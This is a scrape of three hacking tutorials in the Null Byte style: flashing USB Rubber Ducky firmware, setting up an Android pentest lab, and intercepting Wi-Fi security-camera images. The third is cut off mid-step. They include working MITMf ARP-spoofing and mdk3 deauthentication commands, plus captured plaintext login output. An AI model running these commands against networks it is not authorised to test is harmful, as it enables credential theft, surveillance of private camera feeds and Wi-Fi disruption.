The USB Rubber Ducky comes with two software components, the payload script to be deployed and the firmware which controls how the Ducky behaves and what kind of device it pretends to be. This firmware can be reflashed to allow for custom Ducky behaviors, such as mounting USB mass storage to copy files from any system the Duck is plugged into.The USB Rubber Ducky, featured onMr. Robotstealing login credentials, is a device designed to fit inside the "shell" of a cheap USB case to disguise itself as a normal USB mass storage drive. When plugged in, however, it acts like a keyboard, rapidly typing any instructions you program into it. Human interface device (HID) attacks work because computers have to trust keyboards — it's how humans communicate with them.In this tutorial, I'll go over how to flash custom firmware to the Ducky usingDucky Flasherand show some examples of firmware options to expand the number of ways you can deploy your Duck!Ready to flash firmware on the Rubber Ducky plugged into a Raspberry Pi.Image by SADMIN/Null ByteWhy Use the Rubber Ducky in the First Place?In our previous article on the Rubber Ducky, we learned how to load and use keystroke injection attacks. For a refresher on that, skip over to the following link to review.HID Attack Basics:Load & Use Keystroke Injection Payloads on the USB Rubber DuckyIf you're looking to compromise a computer, evading detection is a primary concern. In most cases, Windows Defender or anantivirusprogram will swoop in to stop a harmful automated process that might damage the system. If you were to tell Windows to destroy itself from the command line, however, it will for the most part just do it.The Rubber Ducky abuses this trust by allowing you to accomplish actions that might otherwise arouse suspicion or take too much time to do manually within a brief window of physical access. Aside from outputting whatever commands you tell it to, the Ducky allows you to bake in delays when needed to accommodate old or slow computers.What Can You Do with It?The USB Rubber Ducky can do anything you can type into a terminal window, which is a dangerous amount of things. This includes downloading and running any program you want from the internet immediately. For computers with internet access, it's often best to do all the work on the downloadable payload and focus on making a few seconds of access count without being detected.Don't Miss:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyYou can schedule embarrassing emails to government officials containing local .jpeg files with suspicious file names. You can add backdoor accounts or reverse SSH shells. Pretty much anything you could accomplish behind the keyboard at the computer, you can automate into a few seconds of contact with the USB Rubber Ducky.What Can't You Do with It?You can't put information back on the Ducky since it just reads a .bin binary file that tells it how to send keystroke commands to the computer as a keyboard. This means you can't introduce files from the Ducky, you can't download files from the computer to the Duck directly, and you can't do some crazy stuff like run a VM from the Ducky to attack the host computer.These limitations are addressed by downloading components off the internet or appropriating existing Windows, macOS (OS X), or Linux services. Rather than try to drop in some crazy custom malware, simply knowing how to use services via Windows commands in terminal will allow you to accomplish what you want the "official" way but at lightning speed.Just Kidding — You Can Do That with FirmwareOne of the core concepts of hacking is taking something meant for one purpose and giving it new life, and firmware hacking is a key component of that. Firmware is the system that runs below the operating system of any computer and controls the low-level behavior of the device. This can be changed, unlocking the device to do basically anything the hardware will allow. Many people"root" their phonesby modifying this firmware to give it new life.Most manufacturers don't allow this, as they want to ensure product quality and consistency. Most manufacturers also aren't Hak5, who create some of the most intresting and widely accessible pen-testing tools on the market, such as our beloved USB Rubber Ducky.You can flash the firmware of the USB Rubber Ducky on the Kali Pi 2, Pi 3, and Pi Zero W.Image by SADMIN/Null ByteDon't Miss:Build a Kali Linux Hacking Computer for Under $40 with the Raspberry Pi 3The USB Rubber Ducky's firmware has always been open to the community, and it wasn't long until custom firmware versions began to emerge. The Twin Duck, allowing for the USB storage to be mounted, and the Detour Duck, allowing for staged payloads to be triggered depending on certain variables, were among the first to be widely used.This variety in behavior has greatly enhanced the USB Rubber Ducky's practicality as an attack vector, and in my subsequent articles, I'll introduce payloads utilizing each main firmware type.Ducky FlasherTheDucky Flasher, originally written bykmichael500to flash different popular firmware forks to the USB Rubber Ducky. Written in Python, it works on Windows, macOS (OS X), and our Kali Linux Raspberry Pi! This makes the Pi a perfect place to write payloads and firmware to a Ducky on the go, giving the flexibility of changing both device behavior and payloads in a matter of seconds. This increased flexibility, coupled with the attention from cameos in major TV shows, has lead to the development of many new and interesting Ducky scripts. To take advantage of these, let's get familiar with Ducky Flasher.What You NeedUSB Rubber DuckymicroSD to USB adaptercomputer (try a Kali Pi— Null Byte's Kali Linux build for the Raspberry Pi)DFU ProgrammerDucky FlasherAll of these Pis can flash firmware to your USB Rubber Ducky. Here, we see the Pi 2, 3, and Zero W ready to flash some Duck.Image by SADMIN/Null ByteStep 1: Installing Dependencies & Fetching Ducky FlasherTo mess with firmware, we'll need to put our USB Rubber Ducky in DFU programming mode. This is done by holding down the small button on the USB Rubber Ducky as you plug it into the computer's USB port. This will allow us to write to the Ducky and modify the firmware. To prepare our computer for this, we'll need to install DFU programmer.In Kali Linux, this command is:sudo apt-get install dfu-programmerOnce this is complete, you can download Ducky Flasher by running:wgethttps://github.com/hak5darren/USB-Rubber-Ducky/raw/master/Flash/ducky-flasher1.0.zipWhen the .zip file has downloaded, unzip it with:unzip ducky-flasher1.0.zipNow we're ready to install Ducky Flasher!Step 2: Installing Ducky FlasherTo install Ducky Flasher, we'll change directory into the newly unzipped folder, run the setup configuration file, and then run the Ducky Flasher as sudo. For this to work, you should plug in your Ducky in DFU mode. If you want to just test it and flash later, you can skip this for now.In terminal, run:cd ducky-flasher1.0sudo python setup.pysudo ducky-flasherIf you run into any problems, make sure you have Python installed.Step 3: Running Ducky Flasher & Flashing Your First FirmwareTo begin, hold down the small button on the USB Rubber Ducky as you insert it into the USB port of the computer you are running Ducky Flasher on. Make sure you've changed directory to the one Ducky Script is in, and then run:sudo ducky-flasherIf you've broken your Ducky with custom firmware, now you can fix it. Select1to restore the original firmware.It's as simple as that. If your Ducky was in DFU mode, you should see the following.If your Duck isn't in DFU mode, you'll see the following screenshot. If this happens, try again or contact Hak5 if the Ducky simply will not switch to DFU mode.Sad duck.Firmware FlavorsNow you'll be able to explore the various flavors of firmware the Ducky can run and experiment with different ways each gives you unique control over the interaction with the target computer. To demonstrate a proof of concept for this, I developed a payload for Null Byte to grab a specific file off of macOS using the Twin Duck custom firmware, which I'll cover in my next article.Stay tuned for more articles on the USB Rubber Ducky. You can ask me questions here or @sadmin2001 onTwitterorInstagram.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Steal macOS Files with the USB Rubber DuckyHacking macOS:How to Steal Signal Conversations from a MacBook with a USB Rubber DuckyHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Load & Use Keystroke Injection Payloads on the USB Rubber DuckyHow To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHow To:Hack MacOS with Digispark Ducky Script PayloadsHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Run USB Rubber Ducky Scripts on a Super Inexpensive Digispark BoardHow To:Catch USB Rubber Duckies on Your Computer with USBRipNews:Hak5 Just Released the Packet SquirrelHow To:Make Your Own Bad USBHow To:Steal Usernames & Passwords Stored in Firefox on Windows 10 Using a USB Rubber DuckyAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHow To:Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ TransceiverHow To:Decorate rubber ducky shaped cupcakesHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Find the rubber ducky easter egg in CrackdownHow To:Install the Xposed Framework on Your Samsung Galaxy S6 or S6 EdgeHow To:Unroot & Restore a Samsung Galaxy S6 Back to StockPSA:Unlocking Your Pixel's Bootloader Does NOT Void Your WarrantyBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How To:Use Social Engineering to Find Out More Information About a CompanyHow To:Unroot & Restore a Galaxy S5 Back to StockHow To:Install an Off-the-Shelf Hard Drive in an Xbox 360 (Get 10x the GB for Your Money)How To:Use Social Engineering to Gain Unauthorized Access to a Hotel RoomHow To:1-Click Root Many Android Devices with Kingo Android RootHow To:Use Odin to Flash Samsung Galaxy Stock FirmwareHow To:Unroot & Relock Your Modded Nexus 5 Back to Factory ConditionHow To:Upgrade the Pioneer MEP-7000 Firmware 2.02How To:Add Your Own Custom Screensaver Images to Your Kindle Lock ScreenHow To:Root Your Samsung Galaxy S4 (Or Almost Any Other Android Phone) In One Easy ClickNews:NAB 2010 - SmallHD Demo their new DP-SLR MonitorNews:Jailbreak your PS3!How To:Jailbreak an iOS 4.3 iPhone 4, iPad or iPod Touch with PwnageToolNews:MAME Arcade cabinet+How To:Conceal a USB Flash Drive in Everyday ItemsNews:Canon 7D's Firmware Update v1.2.1: 4/17/10News:Down the CommodeNews:StreetRally
Hacking Android: How to Create a Lab for Android Penetration Testing « Null Byte :: WonderHowTo
As Androidbug bounty huntersand penetration testers, we need a properly configured environment to work in when testing exploits and looking for vulnerabilities. This could mean a virtual Android operating system or a dedicated network for capturing requests and performing man-in-the-middle attacks.There are many ways to configure a pentesting lab. Virtual Android environments are made possible by projects likeVirtualBox,OSBoxes, andAndroidx86. And there are a few benefits to creating a virtual Android OS inside your Kali machine.Virtual machines (VMs) are very easy to clone and restore in the event we accidentally break or brick the Android system beyond repair. Also, it gives us the ability to increase the CPU and RAM to higher than physical Android devices are capable of. For example, it's possible to create a virtual Android OS with 32 GB of RAM. While this value is incredibly high and unrealistic, it would theoretically allow us to keep many applications and services running simultaneously.Don't Miss:How to Create a Virtual Hacking Lab for Testing Hacks OutOn the other hand, some reader's may not have the available resource (e.g., RAM, CPU) to run an Android VM. Another environment we can set up requires a physical Android device and a dedicated Wi-Fi network. Sure, we can simply connect Kali and our Android device to our home Wi-Fi network, but using Kali as a Wi-Fi hotspot and routing all of the Android's datathroughKali allows us to very easily intercept data transmitting to and from the physical device.There are a lot of conveniences with using a virtualized Android OS, but it doesn't quite compare to a real physical phone capable of providing a real-world simulation of how an Android will respond to a particular exploit or hack. For that reason, pentesting a physical Android is my preferred method. But I'll show how to quickly set up both and let you decide which best meets your needs.Option 1: Virtual Android Environment (VirtualBox Lab)OSBoxes offers ready-to-use Linux operating systems that are preconfigured for our convenience. Using the OSBoxes Android virtual machines for VirtualBox, we can have a virtual Android system up and running in just a few clicks.Don't Miss:How to Learn Binary Exploitation Development with ProtostarStep 1: Download the Android ImageHead over to theAndroid x86 download pageon Oboxes' site to grab the latest 64-bit Android image for VirtualBox.At the time of this writing, OSBoxes only supports up to Android version 7.1 Nougat. Android Oreo (version 8.1) will be available soon. Readers with a more technical understanding of ISO installations can head over to theAndroid-x86website and grab the Oreo ISO which is not preconfigured like OSBoxes images.Step 2: Extract the VirtualBox Disk ImageWhen the compressed Android-x86_7.1_r1-VB-64bit.7z file (or whatever version you chose) is done downloading, extract theVirtualBox Disk Image(VDI) using the below7zcommand. Unzipping the .7z file could take several minutes. When it's done, a new64bit/directory will be present in yourDownloads/directory.7z x Android-x86_7.1_r1-VB-64bit.7z 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD Ryzen 7 1700 Eight-Core Processor (800F11),ASM,AES-NI) Scanning the drive for archives: 1 file, 927273974 bytes (885 MiB) Extracting archive: Android-x86_7.1_r1-VB-64bit.7z -- Path = Android-x86_7.1_r1-VB-64bit.7z Type = 7z Physical Size = 927273974 Headers Size = 204 Method = LZMA2:25 Solid = - Blocks = 1 Everything is Ok Folders: 1 Files: 1 Size: 5433720832 Compressed: 927273974Step 3: Configure the Android VM SettingsOpen VirtualBox on your Kali system, and create a new virtual machine using the "New" button. If you don't already have VirtualBox, you candownload it for free from its website. On the first page, name it "Android," and choose "Linux" as theTypeand Linux 2.6 64-bit for theVersion. Click on "Next" to continue.Set the memory (RAM) to a value of at least 1,024 MB. Click on "Next" to continue.Select the "Use an existing virtual hard disk file" option on theHard disksettings, then select the Android VDI in the64bit/directory we extracted previously. Click on "Create" to continue.Then, with the new Android VM selected from the list of machines in VirtualBox, click on "Settings," then the "System" tab, and adjust theBoot Orderso the "Hard Disk" is the first option and thePointing Deviceis configured to "PS/2 Mouse."In the "Network" settings tab, configure "Adapter 1" as a "Bridged Adapter" and set theAdapter Typein the "Advanced" menu to "PCnet-FAST III." This will allow the Android VM to connect to your Wi-Fi router and acquire its own IP address.When done, click "OK," and start the Android VM. After about 60 seconds, the operating system will boot, and we'll have access to a new virtual Android OS for experimenting and pentesting.In bridged mode, other devices on the Wi-Fi network will be able to ping and interact with the Android OS. We can perform man-in-the-middle attacks against the OS as if it were a physical device on the Wi-Fi network. Below is an example man-in-the-middle attack performed usingMITMf.python mitmf.py -i wlan0 --arp --spoof --gateway 192.168.0.1 --target 192.168.0.4 ███╗ ███╗██╗████████╗███╗ ███╗███████╗ ████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝ ██╔████╔██║██║ ██║ ██╔████╔██║█████╗ ██║╚██╔╝██║██║ ██║ ██║╚██╔╝██║██╔══╝ ██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ [*] MITMf v0.9.8 - 'The Dark Side' | |_ Net-Creds v1.0 online |_ Spoof v0.6 | |_ ARP spoofing enabled |_ Sergio-Proxy v0.2.1 online |_ SSLstrip v0.9 by Moxie Marlinspike online | |_ MITMf-API online * Serving Flask app "core.mitmfapi" (lazy loading) |_ HTTP server online * Environment: production WARNING: Do not use the development server in a production environment. Use a production WSGI server instead. * Debug mode: off * Running on http://127.0.0.1:9999/ (Press CTRL+C to quit) |_ DNSChef v0.4 online |_ SMB server online 2018-07-23 18:26:22 192.168.0.4 [type:Chrome-50 os:Android] login.website.com 2018-07-23 18:26:22 192.168.0.4 [type:Chrome-50 os:Android] login.website.com 2018-07-23 18:26:23 192.168.0.4 [type:Chrome-50 os:Android] fonts.googleapis.com 2018-07-23 18:26:24 192.168.0.4 [type:Chrome-50 os:Android] login.website.com 2018-07-23 18:26:25 192.168.0.4 [type:Chrome-50 os:Android] Zapped a strict-transport-security header 2018-07-23 18:26:26 192.168.0.4 [type:Chrome-50 os:Android] login.website.com 2018-07-23 18:26:26 192.168.0.4 [type:Chrome-50 os:Android] login.website.com 2018-07-23 18:26:27 192.168.0.4 [type:Chrome-50 os:Android] fonts.gstatic.com 2018-07-23 18:26:28 192.168.0.4 [type:Chrome-50 os:Android] login.website.com 2018-07-23 18:26:48 192.168.0.4 [type:Chrome-50 os:Android] POST Data (login.website.com): utf8=%E2%9C%93&authenticity_token=j7bVyOKFLu%2BausgDzlIr0Z9H0Mmh%2FoWSBZh9OyyCqvKNdPFtPL47fqRECBwN97gJmlYt4AgvI6e%2FyDmcAvNeog%3D%3D&user%5Bemail%5D=distortion%40nullbyte.com&user%5Bpassword%5D=secure_password_999&commit=&user%5Bremember_me%5D=0 2018-07-23 18:26:49 192.168.0.4 [type:Chrome-50 os:Android] login.website.comWe can see the Android device (192.168.0.4), using Chrome version 50, sent a POST request containing an email address and password in plain-text.Option 2: Dedicated Wi-Fi Hotspot & HardwareThis method requires a dedicated (physical) Android device for pentesting on and an external Wi-Fi adapter to create a hotspot. The idea is, Kali will effectively create a Wi-Fi hotspot that the Android device connects to. All of the data traversing to and from the Android will be very easily observed without any kind of man-in-the-middle attack. This is convenient forbug bounty huntersusing tools likeBurp SuiteorWiresharkto inspect packets on a very granular level.If you don't have an Android phone laying around that you can use as a pentesting device,Amazon has plenty of cheap options availablefor a test phone, which will become a valuable asset in your pentesting toolkit.Amazon Deals:Find Cheap Android Phones for Your Hacking ToolkitStep 1: Create a New Wi-Fi HotspotTo start, fire up Kali andconnect an external Kali-compatible wireless network adapterto the system. Open the "Network Connections" menu, click the "+" symbol to add a "Wi-Fi" connection, then select "Create."Network connection settings vary slightly between different versions of Kali. I'm using the XFCE4 version but all versions have a network manager capable of creating Wi-Fi hotspots using very similar steps.Step 2: Configure the Hotspot & PasswordA newEditingwindow will pop up. The required fields areSSID,Mode, andDevice. Be sure to use the "Hotspot" mode and select the device (most likelywlan0) of your Wi-Fi adapter. If you don't know the name of the network adapter, you can useifconfigto figure it out. The Wi-Fi network name (SSID) can be anything you want; I'm using "Null Byte" for this demonstration.Next, click on the "Wi-Fi Security" tab and entera strong password.Click "Save" when done, and Kali should automatically create the "Null Byte" Wi-Fi hotspot. This can be verified by usingifconfigin a terminal.ifconfig wlan0 wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.42.0.1 netmask 255.255.255.0 broadcast 10.42.0.255 inet6 fe80::ea9b:cff:fee3:bb6a prefixlen 64 scopeid 0x20<link> ether 42:e6:0f:b2:1c:e2 txqueuelen 1000 (Ethernet) RX packets 78176 bytes 4968034 (4.7 MiB) RX errors 0 dropped 4 overruns 0 frame 0 TX packets 137808 bytes 191871580 (182.9 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Notice theinet 10.42.0.1address. This is the new internal address scheme used by devices connecting to your "Null Byte" Wi-Fi network. Upon connecting an Android to the network, it will automatically acquire the address10.42.0.2.At this point, we can open Wireshark and begin capturing data on thewlan0interface to observe packets going to and from the Android. There's a direct connection between the Android and Kali so your "Null Byte" network won't be littered with network traffic from other devices on your external (192.168.0.1) network. Other pentesting tools like Burp Suite can be configured with Android to intercept and modify every request.Let the Penetration Testing BeginThere are benefits to both methods. If you can afford the RAM and CPU, a virtual Android environment might be the best option for you. If hardware resources are limited and you have a spare Android device to pentest on, option two might be your preferred method as well. Either way, you are encouraged to try both methods and learn what suits you best.If you have any questions, please feel free to leave a comment below.Don't Miss:How to Use Cerberus to Take Control of Anyone's Android PhoneFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byPixabay/Pexels(original); Screenshots by distortion/Null ByteRelatedHow To:XDA Labs Makes Installing Third-Party Apps & Hacks EasyNews:One of the Best Android File Managers Is Finally on the Play StoreHack Like a Pro:How to Create a Smartphone Pentesting LabNews:Huge iPhone Security Flaw Reveals One Big Benefit iOS Has Over AndroidHow To:Speed Test Your Chromecast or Android TVHow To:Share Your Wi-Fi Password with a QR Code in Android 10How To:Automatically Skip YouTube Ads on Android—Without RootingNews:Google Teases Android O's Half-Dunked Code Name with an Enticing Easter EggHow To:This Is the Best Way to Send Large Files to Your Nvidia Shield TV from Any Android PhoneGadget Hacks' Pandemic Prep:Apps, Info & Services to Keep You Safe & ProductiveNova Launcher 101:How to Unlock the Hidden 'Labs' Menu for Experimental FeaturesHow To:Run Your Favorite Android Apps on Your ComputerNews:Here's the Phone to Get if You're a Celebrity, CEO, or Drug LordBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeNews:Thanks to Project Treble, the Galaxy S9 Should Actually Get Fast UpdatesHow To:Mimic the Galaxy S6's SOS Feature on Any Android DeviceHow To:Create a Persistent Back Door in Android Using Kali Linux:How To:Upgrade Your Android Right Now with Nougat's Best FeaturesHow To:Get Android N's Redesigned Settings Menu on Your Android Right NowHow To:Get Android M's New Clock App on Any Device Right NowHow To:Install Android Q Beta on Your OnePlus 6, 6T, or 7 ProHow To:Play Zombie Gunship Survival on Your iPhone or Android Before Its Official ReleaseAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:This Is How Android 9.0 Pie Will Handle NotchesHow To:Advanced Penetration Testing - Part 1 (Introduction)News:Google Might Release Their New Phones & Mobile OS Before Apple This YearHow To:Use Samsung's Hidden Hearing Test to Get Drastically Better Sound Quality from Your GalaxyHow To:Turn Off Those Annoying Amber Alerts & Emergency Broadcasts on Your AndroidNews:Almost a Year Later, Android Oreo Is Still on Less Than 1% of PhonesGalaxy Oreo Update:Samsung Adds Screenshot Labeling Feature in Android 8.0How To:Bypass Restrictions to Install 'The Elder Scrolls: Legends' on Any Android DeviceNews:Backtrack 5 Security EssentialsNews:Comparing Photo Apps on Android: Vignette and Retro CameraNews:You Don't Need to Be a Hacker to Hack with This Android App
How to Intercept Images from a Security Camera Using Wireshark « Null Byte :: WonderHowTo
It's common for IoT devices likeWi-Fi security camerasto host a website for controlling or configuring the camera that uses HTTP instead of the more secure HTTPS. This means anyone with the network password can see traffic to and from the camera, allowing a hacker to intercept security camera footage if anyone is watching the camera's HTTP viewing page.IoT Devices & Administration PagesOne thing internet-of-things devices typically have in common is a lack of focus on security. Convenience is often more important, so details like ensuring the administration page for a device is secure may seem like an afterthought to some developers. As a result, it's common to see these devices appear onNmapsearches with insecure ports open. Even worse, some of these devices are designed to be exposed directly to the internet rather than just the internal network.Don't Miss:Disable Security Cams on Any Wireless Network with Aireplay-NgOn security cameras, this problem is made much worse if the camera also hosts an insecure webpage where the owner can watch video play directly from the camera. If this is the case, anyone else who knows the Wi-Fi password can see exactly what the target is watching on the security camera. Because most businesses or homes with a camera have a monitor set up to view the camera, this can be a real concern for users with weak passwords or others sharing the network.Ports 80 & 81 Are InsecureWhen scanning devices withWireshark, there are a few ports you're very likely to see open on devices like routers, security cameras, and other Wi-Fi enabled IoT devices. If you see a port 80, 81, 8080, or 8081, this very likely means there is an insecure HTTP website being hosted on that port. While you must know the password of a Wi-Fi network to scan for these ports, you can access them over the Wi-Fi network to inspect the web application they host.While port 443 is used for secure HTTPS traffic, which is encrypted and doesn't present the same kind of interception risk, any port exposing an insecure HTTP port over the local network is an invitation for an attacker to snoop around for more information on the connected device. This can mean trying to log in, gathering information about the firmware the device is running, or attacking it with a program likeRouterSploitto attempt to break in.Don't Miss:Seize Control of a Router with RouterSploitA lesser-known risk involves someone intercepting passwords and other information as it passes through the insecureweb application. If a target has logged in and is viewing images from the security camera from an insecure web app live, it's relatively simple to intercept the web traffic and decode the intercepted packets into image files.Intercepting Traffic with WiresharkTo make this work, we'll need to use Wireshark to sniff Wi-Fi traffic between our target computer and the router. Our goal will be to capture unencrypted HTTP traffic flowing to our target's computer as they view the security camera feed. To do this, though, there will be a few things we need to take care of first.We'll need to break the encryption of the network. If we know the password, we can always join the network ourselves, but this opens up a further risk of detection. Instead, we can add the Wi-Fi keys we know to Wireshark, and decrypt the data we sniff without ever connecting to the network. This means our attack will be mostly passive, leaving little opportunity for us to be detected.Don't Miss:Detect Script-Kiddie Wi-Fi Jamming with WiresharkOne critical thing we'll need that isn't passive is a Wi-Fi handshake to see the traffic. Because Wireshark needs to observe a Wi-Fi handshake to decrypt subsequent traffic, simply knowing the password is not enough. To succeed, we'll need to isolate traffic from the computer we're interested in with a Wireshark filter, capture a four-way WPA handshake, and then decrypt the data with the password we know.What You'll Need & Practical LimitationsConditions must be favorable for this attack to have a chance of succeeding. In particular, if the camera does not use an insecure interface, then the data will be encrypted, and we will not be able to see it.If no one is watching the camera feed or it's not left displaying on a monitor, there will be no insecure traffic to intercept, so we will not see anything. If we do not know the network password, we cannot intercept the encrypted traffic. If we cannot kick a client off the network momentarily to generate a four-way handshake, then knowing the password won't do us any good. And finally, if we're out of range of the network, we won't be able to intercept the traffic we can't hear.While this may seem like a lot of requirements, it's fairly common to be able to do this. If the target has a Wi-Fi security camera and keeps a monitor viewing the display, the Wi-Fi password should be all you really need, aside from aKali Linux-compatible wireless network adapter.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019Once you're in range and have Kali Linux loaded up, you should be ready. Plug in yourwireless network adapter, and make sure you have Wireshark installed to begin. If you don't have Wireshark, you can download the installerfrom its website.Recommended Network Adapter:Long-Range Alfa AWUS036NHA Wireless B/G/N USB AdaptorStep 1: Access the Web Camera on the Insecure InterfaceTo start, you'll need to access the built-in interface on whatever webcam or Wi-Fi security camera you want to intercept. In a browser window on your "target" computer, navigate to the HTTP interface, enter any password required, and then begin viewing the live webcam view.If you need to find your camera on the network, you can run a Nmap scan to discover different devices on the network running insecure HTTP ports.For this command, you'll need to know the network range. You can find this by typingifconfigand copying down the IP address assigned to your computer. Then, you can typeipcalcand your IP address to calculate the network range. It should be something like 192.168.0.0/24. Run the following command, substituting 192.168.0.0/24 for your own network range.sudo nmap -p 80,81,8080,8081 192.168.0.0/24Look for devices with this port "open," and when you find one, you can navigate to it by typing the IP address and then:81to go to port 81 on that IP address. If you want to navigate to port 8081 on 192.168.0.1, type192.168.0.1:8081to your browser window.Step 2: Identify the Channel & Prepare Wireless CardYou'll need to plug in yourKali-compatible wireless network adapter, such as theAlfa AWUS036NHA. You'll need to do two things before starting up Wireshark, the first being putting the card into wireless monitor mode, and the second being identifying the channel the router you're targeting is broadcasting on.To put your card into wireless monitor mode, identify the name of your card by runningifconfigin a terminal window. It should be named something likewlan0.Once you've found the name of your wireless card, we'll need to put it into monitor mode. Run the following command in a terminal window, with the name of your card substituted for "wlan0."airmon-ng start wlan0 airodump-ng start wlan0monThis will put your card in wireless monitor mode, changing the name of the card to add "mon" at the end. It will also startAirodump-ng, which will start scanning for nearby wireless networks.Don't Miss:Sniff Wi-Fi Activity Without Connecting to a Target RouterLook for the Wi-Fi network that you're looking to sniff, and note the channel that it's on. We'll need to switch our card to that channel to intercept the images in Wireshark.CH 4 ][ Elapsed: 0 s ][ 2018-12-24 02:42 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C0:8A:DE:39:CD:D9 -46 2 0 0 1 130 WPA2 CCMP MGT TWCWiFi-Passpoint C0:8A:DE:F9:CD:D8 -47 2 0 0 1 130 OPN TWCWiFi C0:8A:DE:B9:CD:D8 -46 2 0 0 1 130 OPN SpectrumWiFi C0:8A:DE:39:CD:D8 -47 2 0 0 1 130 OPN CableWiFi 78:96:84:00:B5:B0 -42 2 0 0 1 130 WPA2 CCMP PSK The Daily Planet 00:9C:02:D2:5E:B9 -60 3 0 0 1 54e. WPA2 CCMP PSK HP-Print-B9-Officejet Pro 8600 20:10:7A:92:76:43 -51 2 0 0 1 130 WPA2 CCMP PSK SBG6580E8 DE:F2:86:EC:CA:A0 -45 1 0 0 11 195 WPA2 CCMP PSK Bourgeois Pig Guest D6:04:CD:BD:33:A1 -55 1 0 0 11 130 WPA2 CCMP PSK DirtyLittleBirdyFeet BSSID STATION PWR Rate Lost Frames Probe root@kali:~/Desktop#If our target is on channel 11, we'll run the following command to set our card to channel 11.airmon-ng start wlan0mon 11Step 3: Start WiresharkNow that our wireless network adapter is listening on the same channel as the traffic we want to intercept, it's time to start Wireshark. When Wireshark opens, double-click the card you put in monitor mode to start the capture.Our card should now be scanning on the correct channel, but without the network password, we won't be able to see anything. To solve that, we'll need to add some encryption keys to Wireshark.Step 4: Add the Network Password to Decrypt TrafficTo add encryption keys to Wireshark, click on "Edit" in the menu bar, then "Preferences" to show the preferences menu. Next, select "Protocols" from the sidebar to see a list of protocols that Wireshark can translate.In the Protocols drop-down menu you just opened, you'll want to select "IEEE 802.11" to show options for decrypting Wi-Fi. Make sure that the "Enable decryption" box is checked, and then click the "Edit" button next to "Decryption keys" to open the list of keys Wireshark will try to use to decrypt traffic.Once the WEP and WPA decryption key menu is open, click on the field to the left and select "wpa-psw" to add. While we can also add a "wpa-psk" here, we would have to calculate it ourselves, which is more complicated than simply entering the password.For the decryption to work, you must add the key by clicking on the plus (+) icon, and then enter the key in the formatpassword:networknameto add it to the list.Click "OK" to save the key, and now we should be able to decrypt traffic from this network — if we can grab a four-way Wi-Fi handshake.Don't Miss:Gain Complete Control of Any Android with the AhMyth RATStep 5: Build a Filter to Capture Traffic Between DevicesIn our Wireshark capture, we're sure to be seeing a lot of traffic. While we can't yet decrypt it because we don't have a handshake, we can build a filter to make sure we're only seeing traffic to the device we're sniffing.The best way to do this over a Wi-Fi network is to find a piece of traffic to the computer we're looking for, and then make a display filter to show only packets heading to that MAC address. That means that any traffic directed to the target computer will be displayed, and any other network traffic will be ignored.Looking under the packet information, right-click the "Receiver address" for a packet being sent to the target device, select "Apply as Filter," and then "Selected." Now, we should see only packets to the target.Step 6: Deauth the Target to Grab a HandshakeNow that we've isolated the traffic from our target device, we need to generate a four-way handshake by kicking the target computer off the network momentarily while Wireshark is listening. To do this, we can use a tool from a previous guide calledMDK3, which is able to kick any devices connected to Wi-Fi off and generate a handshake.Don't Miss:Use MDK3 for Advanced Wi-Fi JammingBecause we already know the channel our Wi-Fi network is on, we can use MDK3 to take out any device operating on that channel. You should not need long to generate a WPA handshake. With "wlan0mon" swapped for the name of your wireless card, and "11" swapped for the channel you're attacking, run the following command in a terminal window to start jamming the network.mdk3 wlan0mon d -c 11After a few moments, nearby devices on the network should automatically reconnect, allowing you to intercept the WPA four-way handshake. If you want to make sure you have it, you can open a new terminal window and run Airodump-ng to see when you get a WPA handshake.To do so, typeairodump-ng wlan0mon 11(substituting "wlan0mon and "11" for your actuals) to watch for WPA handshakes while you run MDK3.Once you see the result above, you've captured a WPA four-way handshake! Make sure to match the MAC address shown with the wireless network you're targeting to avoid getting a handshake for the wrong network.Now that we have a four-way handshake and have entered the network key, we should have full access to data flowing over the network. While HTTPS is still off the table, we should be able to see raw HTTP just fine.Step 7: Filter the Traffic to Find HTTP TrafficWhile we've gained access to the network traffic and narrowed it down to the target computer, there may be other traffic that's unrelated and makes it difficult to focus on what we're looking for. To cut through this, we'll add another network filter to show only HTTP traffic flowing on the network.In the 